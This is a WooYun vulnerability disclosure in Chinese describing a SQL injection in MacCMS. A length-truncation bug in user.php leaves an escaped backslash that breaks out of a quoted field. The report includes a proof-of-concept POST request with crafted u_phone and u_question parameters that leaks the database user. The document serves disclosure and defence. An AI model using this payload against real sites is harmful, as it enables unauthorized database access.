漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-082973
漏洞标题:苹果cms 最新版sql注入-2
相关厂商:maccms.com
漏洞作者: 路人甲
提交时间:2014-11-13 15:51
修复时间:2015-02-11 15:52
公开时间:2015-02-11 15:52
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-11-13: 细节已通知厂商并且等待厂商处理中
2014-11-13: 厂商已经确认,细节仅向厂商公开
2014-11-16: 细节向第三方安全合作伙伴开放
2015-01-07: 细节向核心白帽子及相关领域专家公开
2015-01-17: 细节向普通白帽子公开
2015-01-27: 细节向实习白帽子公开
2015-02-11: 细节向公众公开
简要描述:
注入
详细说明:
在文件/inc/module/user.php中:
if (strlen($u_email)>32) { $u_email = substring($u_email,32);}
if (strlen($u_qq)>16) { $u_qq = substring($u_qq,16);}
if (strlen($u_phone)>16) { $u_phone = substring($u_phone,16);}
这里面存在着字符串截断的操作,利用这个截断功能,可以将转义后的内容\\ 变成\
这里执行的sql语句:
UPDATE mac_user SET u_qq='$u_qq',u_email='$u_email',u_phone='$u_phone',u_question='$u_question',u_answer='$u_answer',u_password='$u_password' WHERE u_id=1
其中$u_phone的长度为16. 这样我们设置$u_phone=123456789012345\ 转移再截断前16位,$u_phone的值是一样的。
这时候sql语句就变成
UPDATE mac_user SET u_qq='$u_qq',u_email='$u_email',u_phone='123456789012345\',u_question='$u_question',u_answer='$u_answer',u_password='$u_password' WHERE u_id=1
也就是将u_phone的值set成 123456789012345',u_question=。
接下来只要将$u_question设置成 ,injectsql#这种格式就可以实现sql注入了。
poc:
URL: maccms/index.php?m=user-save.html(需要登录)
post参数: u_password1=123456&u_password2=123456&u_qq=12345678&u_email=test%40gmail.com&u_phone=123456789012345\&u_question=,u_question=user()%23&u_answer=123456
访问后即可看到 找回密码问题 这一列已经显示了数据库当前账号
漏洞证明:
poc:
URL: maccms/index.php?m=user-save.html(需要登录)
post参数: u_password1=123456&u_password2=123456&u_qq=12345678&u_email=test%40gmail.com&u_phone=123456789012345\&u_question=,u_question=user()%23&u_answer=123456
访问后即可看到 找回密码问题 这一列已经显示了数据库当前账号
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:10
确认时间:2014-11-13 16:14
厂商回复:
稍后对漏洞进行修复。
最新状态:
暂无